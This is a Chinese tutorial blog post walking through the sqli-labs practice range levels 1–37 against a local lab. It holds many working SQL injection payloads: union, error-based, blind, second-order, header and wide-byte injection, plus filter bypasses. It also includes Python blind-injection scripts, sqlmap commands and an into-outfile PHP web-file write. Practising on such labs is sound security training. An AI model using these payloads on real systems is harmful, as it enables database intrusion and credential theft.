SQL注入系列文章:
初识SQL注入-CSDN博客
SQL注入:联合查询的三个绕过技巧-CSDN博客
SQL注入:报错注入-CSDN博客
SQL注入:盲注-CSDN博客
SQL注入:二次注入-CSDN博客
SQL注入:order by注入-CSDN博客
SQL注入:宽字节注入-CSDN博客
目录
第1关(联合查询)
第2关(数字型)
第3关('闭合)
第4关(")闭合)
第5关(报错注入)
第6关("闭合)
第7关(secure_file_priv)
第8关(布尔盲注)
第9关(时间盲注)
第10关("闭合)
第11关(POST)
第12关(")闭合)
第13关(')闭合)
第14关("闭合)
第15关(盲注)
第16关(")闭合)
第17关(报错注入+盲注)
第18关(User-agent)
第19关(referer)
第22关("闭合)
第23关(过滤 # --+)
第24关(二次注入)
第25关(过滤 or and )
第25a关(数字型闭合)
第26关(过滤 # -- and or 空格 等)
第26a关(闭合'))
第27关(过滤 union、select、注释、空格 )
第27a关(闭合")
第28关(双写+%0a+大小写+('1')=('1绕过)
第28a关(闭合'))
第29关(基于'的http请求的参数污染注入 )
第30关(基于"的http请求的参数污染注入 )
第31关(基于")的http请求的参数污染注入 )
第32关(宽字节注入)
第33关(GET型宽字节)
第34关(POST型宽字节)
第35关(数字型闭合)
第36关(宽字节注入(Bypass MySQL Real Escape String))
第37关(post宽字节注入(MySQL_real_escape_string) )
前面和大家一起分享了非常多的关于SQL注入的技巧和实例题,相信看过的小伙伴已经对SQL注入有了基本的了解,那么在本篇中我会和通过复习+学习的形式来对经典的sqli-labs靶场来进行通关,应该有很多小伙伴对这个靶场很熟悉了,也可能曾经通关过,那么今天我会对该靶场进行bypass,废话不多说,我们开始ヾ(◍°∇°◍)ノ゙
注:本篇文章会有点长,请小伙伴们耐心阅读 (*´▽`)◇ゞ
没有该靶场的小伙伴可以先去github上进行下载:Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. (github.com)
下载完成后,在浏览器访问就会看到下面的页面了:
第1关(联合查询)
我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:
然后点击Less-1来到第一关
打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看
可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入
判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:
可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
从上面两中方式都可以判断出数据库是有3列的
然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列
?id=-1' union select 1,2,3 --+
从显示结果可以看到,这里的name是第2列,password是第3列。
那么现在就可以从第2列或者第3列查询出数据库名称:
?id=-1' union select 1,database(),3 --
现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+
现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:
?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~
第2关(数字型)
这一关与第一关是大致相同的这里就直接直接提供payload:
尝试闭合查看是否存在SQL注入:
?id=-1'
查看数据库的列数:
?id=1 order by 3--+ 正常
?id=1 order by 4--+ 报错
查看那些地方可以回显:
?id=-1 union select 1,2,3--+
查看数据库名称:
?id=-1 union select 1,databse(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--
查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
第3关('闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:
第4关(")闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:
第5关(报错注入)
本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示
对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数
报错注入:
1. extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。
2. updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。
3. floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
报错注入:
既然存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+
可以看到列数是3列
知道了列数,那么我们就试试看哪里可以回显:
可以看到这里我们无论怎么进行查询,结果都会显示You are in .........
但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示
注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,
解决方案:
这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:
payload:
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
第6关("闭合)
尝试闭合查看是否存在SQL注入:
注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:
第7关(secure_file_priv)
这一关与前面两关是有点不同的,那么先来试试看是否可以闭合报错
最后发现需要闭合'))
可以使用上面的报错注入函数尝试注入一下:
id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--
但是却并没有注入出,而是告诉我 有语法错误
当我们输入为id=1时,结果是这样的:
那么我觉得页面提示的应该有用的,可以使用输入/输出文件
这里就要再扩展一些知识点了:
1、show variables like '%secure%';
使用上面这个命令可以查看 secure-file-priv 当前的值,如果显示为NULL,则需要将其设置为物理服务器地址路径/路径设置为空,才可以导出文件到指定位置
2、into outfile 写文件 用法: select 'mysql is very good' into outfile 'test1.txt‘;
这里想要成功实现需要同时满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空
假设这些条件我们都满足那么我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1')) union select 1,"<?phpinfo();?>",3 into outfile "F:\\PHPstudy\\phpstudy_pro\\WWW\\aaa.php" --+
但是可以看到这里页面却显示有语法错误,这里的原因就是上面查询到的secure_file_priv字段的值为NULL,Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空:
修改后,然后重启Mysql生效;、
重启后,我们再次来尝试导出一下:
可以看到,还是语法错误,但是当我去对应目录下看时,发现aaa.php已经创建了
然后我们可以尝试访问一下该文件:
可以看到php成功执行,本关也就成功的通关了
第8关(布尔盲注)
本关又是与前面都不同的一关,不断尝试可以使用'))来闭合,但是它却没有报错
如果传入的id为1,则会显示:
针对这种的显示,无论是联合查询哈市报错注入都无法注入成功的,这里就要使用布尔盲注了,这种页面只会显示成功和错误两个状态的页面,可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入:
手工注入
利用上面的那些函数我们可以通过不断的变换范围来观察页面的响应来不断判断,直到判断到最后可以确定到一个值,比如我们可以先使用 length函数 + 二分法来尝试一下:
?id=1' and (select length(database())>1) and 1=1 --+ true
?id=1' and (select length(database())>10) and 1=1 --+ flase
?id=1' and (select length(database())>5) and 1=1 --+ true
?id=1' and (select length(database())>6) and 1=1 --+ true
?id=1' and (select length(database())>8) and 1=1 --+ flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase
...
?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true
?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。
这里就成功的注入出了数据库名称,然后通过这个方法,我们可以首先通过information_schema库中的tables表查看我们注入出的数据库下的所有的表的数量,然后我们按照limit的方法选取某个表,通过length得到它的名字的长度,随后就可以得到它的完整表名,同理通过columns表获得某个表下的所有字段数量,并且获得每个字段的名称长度和具体名称,最后就是查出指定表下的记录数量,并且根据字段去获取某条记录的某个字段值的长度,随后就是是获得该值的内容。
但是这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的布尔盲注脚本来方便使用:
使用python脚本
注入出数据库名
脚本:
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了
使用sqlmap
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
第9关(时间盲注)
这一关也是比较奇怪的一关,不管我们是闭合还是正常的查询,结果始终都是不变的,这种情况布尔盲注也无法解决,只能使用时间盲注了,时间盲注就是观察页面的页面响应时间来逐个判断出数据库的各个信息
使用时间盲注的方式也有很多,下面分为三种来进行介绍:
手工注入
因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断
if的语法三元运算符函数
语法:IF(condition, value_if_true, value_if_false)
condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。
那么可以利用这一点来进行时间盲注
?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+ 延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时
可以看到注入出了数据库的第一个字符是ASCII的值为115,对应的是‘s’,然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了
但是还是一样这样的手工方法会非常的费时费力,我们可以使用python写一个二分法查找的时间盲注脚本来方便注入:
使用python脚本
注入出数据库名
脚本:
import requests
import time
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid)
params = {"id": payload}
start_time = time.time() # 注入前的系统时间
r = requests.get(url, params=params)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
后面的表名,列名,数据,都可以使用类似的脚本注入出来,这里就不演示了
使用sqlmap
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
第10关("闭合)
这一关使用前面的第9关的时间盲注就可以注入成功只是需要将闭合的'修改为",这里就不再演示
第11关(POST)
现在来到了都11关,这一关看起来和前面的都不同,数据的提交方式从GET变成了POST
但是既然是SQL注入,那么一定还是会在username/password中存在可以注入的点的了,那么来试试尝试闭合一下看是否会报错:
可以看到,这里报错了,那么说明存在SQL注入
但是因为这里是POST方式提交的,不能直接修改,这里有三种选择
1、使用可以POST提交的插件,例如Firefox中的HackBar
2、使用Burpsuite抓包后,然后修改
3、直接在输入框中注入
这里我就使用抓包的方式来修改,现在随便输入用户名和密码,然后使用BP抓包:
从结果可以看懂,这里我们输入的用户名和密码属于第一列和第2列,因此我们可以看看是否可以查询到数据库的名称:
可以看到数据库名称成功的查询了出来,那么后面就可以使用前面联合查询使用到的payload
分别查询表名,列名,数据了:
查询表名:
查询列名:
查询数据:
第12关(")闭合)
这一关也是使用POST传参的方式,尝试了一下发现这一关与12关基本相同只是闭合的方式变成了")闭合,这里就不再演示了
第13关(')闭合)
这一关与前面两关看起来很像,但是却又有一些不同,我们尝试闭合一下'),可以看到这里报错了,说明存在注入点
但是如果使用12关的payload来尝试注入会发现页面只会回复一个登录成功,并没有得到想要的数据:
这里应该使用报错注入:
payload:
123') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
然后就是根据前面的那样注入出表名、列名、数据即可
第14关("闭合)
这一关与第13关是一模一样的,只是闭合方式不同,本关要闭合"
第15关(盲注)
这一关尝试了联合查询、报错注入都无法成功注入,那么就像前面那样使用盲注来进行注入了:
这里因为我们是在登录,因此会有一个正确的已知的账号密码,这里就需要使用正确的账号+if判断才能成功的进行盲注:
大家都知道盲注需要页面有一些反应不同的才可以,这里也是根据不同值的页面的返回不同来进行盲注
输入正确密码的页面:
输入错误密码的页面:
那么现在就可以利用这两个页面进行盲注了:
布尔盲注:
payload:
user: 123456' and if(ascii(substr(database(),1,1))>115#
user:123456' and if(ascii(substr(database(),1,1))>114#
然后不断的尝试就可以拿到数据库完整的名称,表名,列名,数据都可以使用这种方式注入
时间盲注:
user:admin
password:123456' and if(ascii(substr(database(),1,1))>115,sleep(3),0)#
password:123456' and if(ascii(substr(database(),1,1))>114,sleep(3),0)#
然后不断的尝试就可以拿到数据库完整的名称,表名,列名,数据都可以使用这种方式注入
第16关(")闭合)
这一关与15关的注入方式一样,都是使用盲注可以实现,只是闭合方式不同,这里需要使用")来闭合,就里就不再演示
第17关(报错注入+盲注)
这一关是比较特殊的一关,从17关开始,后端对我们输入的内容有了一些过滤,我们可以看看后端的防御代码:
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
//魔术开关,本意是保护数据,转义单双引号,但是程序会发生双重转义
{
$value = stripslashes($value); //把转义符又去掉了,那么魔术开关生成的\失效了
}
// Quote if not a number
if (!ctype_digit($value))
//判断是不是找数字
{
$value = "'" . mysql_real_escape_string($value) . "'";
//这里会再加上转义符
}
else
{
$value = intval($value);
}
return $value;
}
我们可以看看前端页面输入的时用户名和新密码,输入了admin,然后输入密码,就会显示米啊已经成功的更新了
那么尝试来闭合一下:
可以看到报错了,说明是存在注入的,那么既然这里将错误信息显示到了页面,那么我们就可以尝试使用报错注入来注入出数据:
payload:
username:admin
newpassword:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
可以看到是可以注入出数据库名称了,后面的表名,列名,数据都可以使用这种方式注入
这里还可以使用布尔盲注:
这里当我们输入的用户名正确和错误会返回两个不同的页面:
错误的用户名:
正确的用户名:
第18关(User-agent)
到18关这里又是一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,页面的响应:
可以看到这里显示出了user-Agent
输入正确的用户名+错误的密码的响应页面是:
既然User-Agent可以显示到页面中,那么我们就可以尝试抓包然后在User-Agent中进行注入:
可以看到使用报错注入成功的注入出了数据库名称,后面的注入就不演示了
第19关(referer)
这一关也是http头部注入
1、登录成功显示的是Referer信息
2、登录失败是没有回显信息的
既然referer可以显示到页面中,那么我们就可以尝试抓包然后在referer中进行注入:
可以看到这里成功的注入出了数据库的名称,后面的注入就不演示了
第20关(cookie)
这一关也是http头部注入的
1、登录成功之后会显示cookie是我们的用户名
2、登录失败会显示失败信息。
那么既然cookie是可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来注入出数据
可以看到成功的注入出了数据库名称,后面数据的注入就不演示了
注:这里的账号和密码均需要输入正确的,因为只有登录后才会出现cookie
第21关(cookie+编码)
这一关和cookie非常的像,但是当登录成功后显示的页面中cookie是一串看不懂的字符:
看了后端代码后发现,是因为这里被编码过了。
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', base64_encode($row1['username']), time()+3600);
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
header ('Location: index.php');
}
可以看到这里对uname进行了编码
那么如果我们不编码就可以还是像上面一样,抓包后修改cookie的值进行注入会有什么结果
但是很明显可以看到这里可与到因为没有编码,爆出了一些奇怪的错误
那么现在进行Base64编码:
编码后然后注入就可以看到成功的注入出数据库名称了:
后面数据的注入就不再演示了
第22关("闭合)
第22关的闭合方式与21不同,其他均与21关相同,这一关需要闭合"
第23关(过滤 # --+)
这一关,又回到了GET传参,尝试传入id看看:
可以看到这里没有办法将报错内容注释掉
$reg = "/#/"; //这里过滤了#
$reg1 = "/--/"; //这里过滤了--
$replace = ""; //把他们都替换成了空
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
查看源码后发现#和 --注释符都被过滤掉了,现在无法使用注释来实现注入了,但是我们还是可以利用 1=1 这样子的一个表达式来进行注入
payload:
?id=-1' union select 1,database(),3 and '1' = '1
id=-1' union select 1,database(),3 or '1' = '1
可以看到这样也可以成功的注入出数据库的名称:
第24关(二次注入)
24关是很特别的一关需要利用二次注入:
从页面可以看到这一关是一个页面非常丰富的一关
最后分析可以得到本关我们都可以做以下动作:
1、可以注册新用户
可以看到已经注册成功了
2、可以登录->修改密码
可以看到密码也是可以修改成功的
3、可以忘记密码
可以看到作为一个安全工作者,面对忘记密码这种事情,它建议我们去hack
那么现在我们应该怎么利用这些点来进行SQL二次注入呢?
这既然是SQL注入的靶场,我想肯定需要网数据库的方面来想,比如说像前面那样闭合掉用户名,然后注释后面的其他语句,实现无密码登录,那么那些地方都会用到sql语句的查询呢,应该是登录和注册,修改密码,都会用到数据库语句查询,那可以在登录的地方测试一下:
但是从结果看出,并没有成功
注:因为这里是POST的方式传参,因此不能使用--+来进行注释,而是要用#
现在来看看后端的代码
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]); //过滤了单双引号
$password = mysql_real_escape_string($_POST["login_password"]);//过滤了单双引号
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
可以看出,后端代码对我们输入的登录用户名和密码进行了过滤,因此无法注入
再来看看其他文件页面的后端代码是否有可以利用的点呢?
这里发现注册页面中,对于用户名和密码,并没有什么限制,因此我们可以尝试在这里直接传入一个user001'#的用户名和密码,试试看:
可以看到注册成功了
我们可以再看看数据库,是否有该记录:
可以看到是有的
但是还有一个问题就是在登录时,我们却无法输入'这应该怎么办呢?
这里龙哥告诉我们了一个办法,我们先使用user001'#账号和密码来尝试登录一下
这里居然登录成功了,然后修改密码,这里的原本密码是可以随便写的
发现居然修改成功了,现在我们使用现在的密码来尝试登录一下user001用户
这里居然就成功登录了。
这里我们居然在不知道用户的原本密码下,直接修改了该用户的密码
这里龙哥告诉了我们原因:这里因为我们注册了一个新用户,但是修改密码时却使用的是一个已存在的用户,并且无密码的用户(因为我们的用户名中有一个注释符,将后面的密码查询判断语句注释掉了),所以我们可以修改密码成功
那为什么转义符并没有将我们用户名中的’和#转义呢:因为我们在从数据库中拿出该用户名时没有对'和#进行转义,导致将密码的检测注释了,虽然看似后端代码将我们输入的'进行了转义,但是当将输入的数据存储到数据库中时,会将'加上存储的,这样就实现了二次注入
第25关(过滤 or and )
第25关这里从前端页面可以看到,这里我们输入的or 和 and都被过滤掉了
因为我们前面的报错注入或者盲注都是用到and/or的,这里被过滤了,看样子是没有办法使用了,
这里查看了一下后端代码发现确实如此:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
当然我们也可以不使用and/or ,而是使用联合查询来注入:
可以看到也是成功的注入出了数据库名称
这里有三种方法来绕过限制:
1、双写
因为后端and替换为空,并且只过滤一次,可以使用双写绕过
2、使用逻辑运算符
and对应的是&&,or对应的是||
3、url编码
and对应的机器语言是&&,如果&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。
这里演示一下双写绕过:
payload:
?id=-1'union select 1,group_concat(username,0x3a,passwoorrd),3 from users --+
第25a关(数字型闭合)
这关就是和25关的闭合方式不同,本关是不许闭合字符的,payload与25关大致一样
第26关(过滤 # -- and or 空格 等)
通过前端页面的显示和后端代码的查询可以看到这一关过滤了很多字符
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可以看到这里将or and / -- # 空格等字符都被注释了
空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过:
payload:
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1'='1
可以看到这样也是可以成功注入出数据库名称的
第26a关(闭合'))
这关的闭合方式与26关不同,需要闭合'),然后可以使用时间盲注来注入数据库的长度:
后面就可以使用ascii+substr逐个注入出数据库的名称
第27关(过滤 union、select、注释、空格 )
通过后端代码和前端页面的显示都可以看到这一关过滤的字符比前面的更多
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
但是我们可以发现这里虽然对select等一些字符过滤了,但是却没有了向前面几关那样的忽略大消息,因此这一关就可以使用大小写+%a0来代替空格+%00来绕过:
payload:
id=100' %0a UniON %0aSELEct%0a1,databse(),3%0a and '1'='1
第27a关(闭合")
与27关的闭合方式不同,只需要修改闭合方式为"即可payload与27关一样
第28关(双写+%0a+大小写+('1')=('1绕过)
从前端和后端代码都可以看到:本关禁止了 union 和select 和 空格等 ,可以使用双写+%0a+大小写+('1')=('1绕过:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
payload:
?id=100') UniOnunion
select
select
1,database(),3
and ('1')=('1
第28a关(闭合'))
本关于28关只是闭合方式不同,payload直接参考28关
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
payload:
?id=100') UniOnunion
select
select
1,database(),3
and ('1')=('1
第29关(基于'的http请求的参数污染注入 )
来到了第29关可以看到这里写着这一关被世界上最好的防火墙保护,那么我们可以来试试进行注释一下:
可以看到这里们很轻松使用第一关的payload就可以注入出数据,这就是被世界上最好的防火墙保护下的网页?
但是很明显不是这样的,查看了后端源码发现这个页面有好几个页面:
所以本关真正想考察的是http参数污染来进行注入,下面简单介绍一下http参数污染
http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的值
因此 29、30、31关卡需要先搭建jsp环境
jspstudy下载连接:Windows版phpstudy下载 - 小皮面板(phpstudy),根据提示进行安装即可,安装完成后在其他选项菜单中点击站点域名管理,然后进行保存并生成配置文件(这里注意下目录,如果错误导致服务启动不了,则去对应服务中的配置文件中修改下目录即可),注意修改apache、mysql、tomcat的端口,不要与phpstudy的端口冲突,这三个关卡需要同时启动jspstudy和phpstudy
环境搭建完成后,就可以注入了:
payload:
?id=1&id=0' union select 1,database(),3 --+
第30关(基于"的http请求的参数污染注入 )
闭合方式不同,其他均与29关相同
第31关(基于")的http请求的参数污染注入 )
闭合方式不同,其他均与29关相同
第32关(宽字节注入)
到了本关就来到了一个新的注入类型了,宽字节注入,那么先来简单介绍一下宽字节注入:
一个gbk编码汉字,占用2个字节。
一个utf-8编码的汉字,占用3个字节。
addslashes函数的作用就是让'变成\',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将'前面的\给它去除掉:
既然这函数给'前面加了一个\那么是不是想办法给\前面再加一个\(或单数个即可),然后变成了\\',这样\就又被转义了,这样就成功的逃出了addslashes的限制
查看一下后端代码,发现对'和/都进行了过滤,因此我们就无法闭合,现在就可以使用宽字节注入了:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
那么我们尝试在'前面加%df看看:
可以看到成功的报错了,这是因为编码为gbk然后我们输入的%df+%27导致%df%27变成了運)
既然由报错,下面就可以尝试注入出数据了:
第33关(GET型宽字节)
本关的payload与32一致:
第34关(POST型宽字节)
可以看到本关变成了POST方式提交了,看看后端代码:
发现后端代码还是对输入的用户名和密码中额度字符进行了编码:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
那么就还是可以使用宽字节来进行注入,因为这一关是POST提交,因此这里使用Burpsuite抓包来注入:
可以看到这里也是成功注入出了数据库名称
第35关(数字型闭合)
查看了本关的后端代码发现是数字型闭合,因此不用闭合的直接注入:
第36关(宽字节注入(Bypass MySQL Real Escape String))
查看后端代码发现使用了mysql_real_escape_string函数对输入的字符进行过滤:
$string= mysql_real_escape_string($string);
那么我们可以来试试是否可以使用宽字节来注入:
可以看到注入出了数据,因此这个函数看起来是没有什么用的
第37关(post宽字节注入(MySQL_real_escape_string) )
这一关查看代码发现也是使用了 MySQL_real_escape_string函数进行了过滤,并且传参方式也变成了POSt,那么既然上面的函数没有防御住,我想这关应该也可以直接使用%df来进行注入吧:
可以看到很简单的就注入出了数据库的名称
那么到此,sqli-labs靶场的前27关到此就练习+演示完毕了,后面还有38-65关包括,堆叠注入、联合查询和order by注入后面有时间我也会全部复现分享给大家,到此SQL注入的知识点也就介绍到此,但是并不是所有,SQL注入还有很多的技巧和实验,后续我也会找时间学习练习,然后分享给大家,后面的文章我会介绍些别的常见的Web漏洞,(*^▽^*)